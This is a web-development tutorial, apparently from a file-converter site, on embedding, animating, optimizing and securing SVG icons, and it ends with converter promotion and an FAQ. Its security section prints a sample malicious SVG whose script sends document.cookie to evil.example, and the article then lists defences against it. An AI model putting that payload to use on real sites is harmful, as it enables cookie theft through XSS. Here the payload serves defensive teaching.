Web

SVG for the Web: Icons, Animation and Optimization in Practice

The same icon can be added to a page in five different ways — and four of them will be wrong for your particular job. Let's look at how to use SVG on a website properly: how inline, <img> and CSS background differ, why a sprite beats an icon font, how to animate vector with plain CSS, halve its weight with SVGO, and avoid XSS on user uploads.

A set of flat vector icons — the everyday job of SVG on the web
Icons, logos, interface illustrations — almost all of it lives as SVG on the modern web. Photo: Pexels

Why SVG is perfect for the web

SVG (Scalable Vector Graphics) is not a picture made of pixels but a text description of shapes: "draw a circle here, run a line over there, fill it with this color." The browser reads those instructions and redraws the image for the specific screen. From that come the two properties the web loves vector for.

Crisp on any screen. A raster icon needs an @2x version for retina, and an @3x for even denser displays. SVG isn't scaled, it's repainted: one file stays perfectly sharp on an old laptop, on a 5K monitor, and when the page is zoomed. No jagged edges, no piles of raster variants.

Tiny weight for simple graphics. A logo, icon or diagram is a handful of shapes. Describing them in text takes a few kilobytes, and after gzip even fewer. Where a PNG icon weighs 8–15 KB, a clean SVG fits in 1–2 KB. On complex photographic images vector loses badly — raster is still the answer there.

A simple rule

SVG is for anything that's "drawn": icons, logos, charts, UI illustrations. Raster (PNG, WebP, AVIF) is for anything that's "photographed." When in doubt, imagine the image blown up 10×: if it should stay sharp, that's SVG.

Three ways to embed SVG and when to use each

The thing that trips beginners up is that SVG can be added to a page in several ways, and they are not interchangeable. Each one unlocks some abilities and closes off others. Let's go through the three main ones.

1. Inline — the code right in your HTML. You paste the whole <svg>…</svg> into the markup. Now the shapes are part of the DOM: you can color them with CSS (fill, stroke), animate them, and change them from JavaScript. The downside: the icon's code lands in the HTML of every page, bloats it, and isn't cached as a separate file.

<!-- Inline: CSS drives the color via currentColor -->
<button class="btn">
  <svg width="20" height="20" viewBox="0 0 24 24" aria-hidden="true">
    <path d="M5 12h14M12 5l7 7-7 7" stroke="currentColor" fill="none"/>
  </svg>
  Next
</button>

2. The <img> tag — a separate file. You write <img src="logo.svg" alt="…"> just like any image. The file is cached by the browser, the HTML stays clean, and hooking it up is trivial. The trade-off: you lose access to the inside — you can't color or animate the SVG's contents with your CSS, because the browser isolates the file.

<!-- img: simple, cached, but no external CSS styling -->
<img src="/img/logo.svg" alt="Company logo" width="160" height="40">

3. CSS background-image — for decoration. You attach the SVG as a background: background-image: url(pattern.svg). Ideal for decorative elements that carry no meaning — patterns, dividers, background glyphs inside input fields. The contents aren't styleable either, but they're easy to swap with CSS classes.

Geometric vector shapes — the kind of graphic stored as SVG on the web
Clean geometric shapes are SVG's home turf: one file, any resolution. Photo: Pexels
MethodCSS styling from outsideAnimation / JSCached as a fileWhen to use
Inline <svg>YesYesNoIcons in buttons, nav, interactivity
<img>NoNoYesLogos, standalone images
CSS backgroundNoNoYesDecoration, patterns, background glyphs

The practical takeaway: icons that change color on hover or take part in animation go inline (better still, via a sprite — more on that below). The header logo and large illustrations go in <img>. Decorative backgrounds go in CSS.

Icons and sprites instead of icon fonts

For years, icon sets were shipped as icon fonts (Font Awesome, Glyphicons): each icon was a "letter" in a font. For new projects today that's an outdated approach. The browser has to download an entire font for a few glyphs, icons can look blurry, you see placeholder boxes until the font loads, and you can only color the whole thing in a single color.

The modern replacement is the SVG sprite. All icons are placed once into a hidden block as <symbol> elements with unique ids, then summoned where needed with a short <use> reference. The "Web" chip at the top of this article and the icons in its UI are drawn exactly this way, by the way.

<!-- 1. Once: the sprite with all icons -->
<svg style="display:none">
  <symbol id="icon-globe" viewBox="0 0 24 24">
    <circle cx="12" cy="12" r="10" fill="none" stroke="currentColor"/>
    <path d="M2 12h20" stroke="currentColor"/>
  </symbol>
</svg>

<!-- 2. As many times as you like: call the icon -->
<svg class="icon"><use href="#icon-globe"/></svg>

This gives you a single source of truth for every glyph, the color is inherited from text via currentColor, and the icons stay crisp and accessible to screen readers. Against an icon font, the sprite wins on nearly every point:

CriterionSVG spriteIcon font
Sharpness on retinaPerfectDepends on font rendering
Multiple colors per iconYesNo, one color only
Animating individual partsYesWhole icon only
AccessibilitySemantics out of the boxNeeds ARIA workarounds
Layout "flash" on loadNoneYes, while the font loads

Tip

An icon font is only justified in a legacy project where it's already deeply wired in. For anything new, reach for an SVG sprite: every current browser supports it, and bundlers (Vite, webpack) can assemble the sprite automatically from a folder of icons.

Animating SVG with CSS

Because inline SVG is part of the DOM, its shapes animate with the same tools as any element: CSS transitions and @keyframes. This is the cheapest and most performant route — not a line of JavaScript, the browser handles everything on the GPU.

/* Spinner: endless rotation of the whole SVG */
.spinner { animation: spin 1s linear infinite; }
@keyframes spin { to { transform: rotate(360deg); } }

/* "Checkmark" icon: draw the stroke on hover */
.check path {
  stroke-dasharray: 24;
  stroke-dashoffset: 24;
  transition: stroke-dashoffset .4s ease;
}
.check:hover path { stroke-dashoffset: 0; }

The stroke-dasharray / stroke-dashoffset trick is the classic "drawing effect": the outline appears to be sketched in front of you. For complex scenarios (shape morphing, scroll syncing) people reach for libraries like GSAP, but 90% of jobs are covered by plain CSS.

A word on SMIL — SVG's built-in animation via <animate> tags. It works, but it's considered legacy: its development is frozen, and for the web it's safer to lean on CSS and JS, which are actively supported.

Mind the comfort

Endless animation makes some people uncomfortable. Respect the system setting: wrap motion in @media (prefers-reduced-motion: reduce) and turn it off for anyone who asked for "less movement."

Optimization: SVGO sheds the dead weight

An SVG exported from Figma, Illustrator or Inkscape is almost always "dirty." Inside: editor metadata, comments, empty groups, hidden layers, and coordinates carried to a dozen decimal places. All of it is weight the user has no reason to download.

The tool that cleans this is SVGO (SVG Optimizer), the standard. It strips the junk without changing the picture. You can run it from the console, in your build, or in the browser through the SVGOMG visual wrapper — the result is visible instantly.

# Install and optimize a folder of icons
npm install -g svgo
svgo -f ./icons -o ./icons-min

# A single file
svgo logo.svg -o logo.min.svg

The savings depend on the source. Exports from design editors usually shrink by 40–80%, sometimes more. Already-clean, hand-written SVGs compress more modestly — by 10–30%. The biggest single source of savings is simplifying path data (the d attribute) and removing editor metadata.

Interface sketches and wireframes — the journey from rough draft to clean SVG
An icon's journey: from a rough draft in the editor to a file scrubbed clean by SVGO in production. Photo: Pexels
40–80%typical saving on editor exports
1–2 KBweight of a clean icon
0quality loss from optimization

Careful with aggressiveness

On its most aggressive settings SVGO can cut things you need: the ids your CSS or JS reference, or the viewBox that scaling depends on. If code drives the icon, disable id removal and keep the viewBox in the config, then verify the result.

Accessibility and SEO

The nice thing about vector graphics is that you can make them legible not only to eyes but to screen readers — and, as a bonus, to search engines. The rule is simple: label meaningful icons, hide decorative ones.

  • The icon carries meaning (say, a lone "cart" icon with no text): add role="img" and a name via a <title> inside the SVG or an aria-label on it.
  • The icon is decorative or duplicates adjacent text ("🔍 Search"): hide it from screen readers with aria-hidden="true" so it isn't announced twice.
  • The icon sits inside a text-less link or button: give the button itself a name via aria-label and leave the icon decorative.
<!-- Meaningful icon: announced as "Favorites" -->
<svg role="img" aria-label="Favorites"><use href="#icon-star"/></svg>

<!-- Decorative: the screen reader skips it -->
<svg aria-hidden="true"><use href="#icon-chevron"/></svg>

<!-- Icon button: name on the button, icon hidden -->
<button aria-label="Close"><svg aria-hidden="true"><use href="#icon-close"/></svg></button>

For SEO this is a plus too: an <img> tag with an SVG is indexed as an image, and a meaningful alt helps it surface in image search. And because SVG is lightweight, it barely affects load speed — which feeds directly into rankings.

Securing user uploads

Here's the non-obvious one that catches out even experienced teams: an SVG isn't a picture, it's executable XML. You can embed a <script> tag, event handlers (onload), and javascript: links inside it. If you accept SVGs from users (avatars, logos) and show them to others as-is, an attacker can plant code in the file — a textbook XSS vulnerability.

<!-- What a malicious SVG looks like -->
<svg xmlns="http://www.w3.org/2000/svg">
  <script>fetch('https://evil.example/steal?c='+document.cookie)</script>
</svg>

Defense is built in layers:

1

Render via <img>

Inside an <img> tag the browser itself disables scripts and external resources within the SVG. Never inline a stranger's SVG into your markup.

2

Sanitize on the server

Run the upload through a sanitizer (for example DOMPurify) that strips <script>, <foreignObject>, event handlers, and dangerous links.

3

Lock down delivery

Serve uploads with strict CSP headers and from a separate domain, so that even a script that slips through can't touch your cookies.

The most bulletproof option

If you don't need stranger SVGs to be interactive, rasterize the upload to PNG on the server. A raster physically can't contain scripts, and the problem disappears entirely.

When SVG needs to become a PNG

SVG is wonderful, but it isn't universal. Old email clients, some social networks and preview services don't understand vector, and an og:image (the link card shown on share) almost always needs a raster. In those cases you rasterize the SVG to PNG at the right resolution and DPI: the source stays vector, while a compatible copy goes out into the world.

1

Upload the SVG

Drag the file into an online converter — nothing to install.

2

Set DPI and background

Pick the resolution for the job and decide whether you want a transparent background or a fill.

3

Download the PNG

The finished raster opens anywhere — from social media to legacy CMSes.

Turn an SVG into a crisp PNG in seconds

The free FormatZ converter rasterizes vector at the DPI you need, right in your browser — no install, no sign-up. Perfect for previews, social media and services without SVG support.

Convert SVG to PNG

Need the reverse — building vector from a raster logo? Tracing with PNG to SVG will help. For a lightweight web format with transparency, try SVG to WebP, and the full list of conversions is always on the all formats page.

SVG on a site isn't "just another image format" — it's a tool: choosing the right embedding method solves half of your styling, speed, and security problems at once.
Use inline SVG (<svg>…</svg> right in your HTML) when the icon needs to be styled with CSS, animated, or controlled with JavaScript — for example, icons in buttons and navigation. Use <img src=".svg"> for standalone images and logos: the browser caches it as a separate file and it keeps your HTML clean, but you can no longer style its insides from outside.
For new projects, almost always yes. A sprite built from <symbol>+<use> gives crisp icons on retina screens, supports multiple colors and per-part animation, is accessible to screen readers, and does not depend on a font download (no icon "flash"). Icon fonts only really make sense in legacy projects where they are already deeply embedded.
It depends on the source. Exports from Figma, Illustrator or Inkscape usually shrink by 40–80% — SVGO strips editor metadata, comments, empty groups, and excess digits in coordinates. Already-clean, hand-written SVGs compress more modestly, by 10–30%.
Your own SVGs are fine. Other people's are the risk: SVG is XML, so it can carry a <script> tag, event handlers (onload), and javascript: links. If you accept SVGs from users, render them via <img> (the browser disables scripts) and always sanitize them on the server, for example with DOMPurify.
For previews, social media and services without vector support, rasterize the SVG to PNG at the right DPI — for example with the FormatZ online converter. The reverse (tracing a PNG into SVG) is also possible automatically, but it only works cleanly for simple shapes and logos.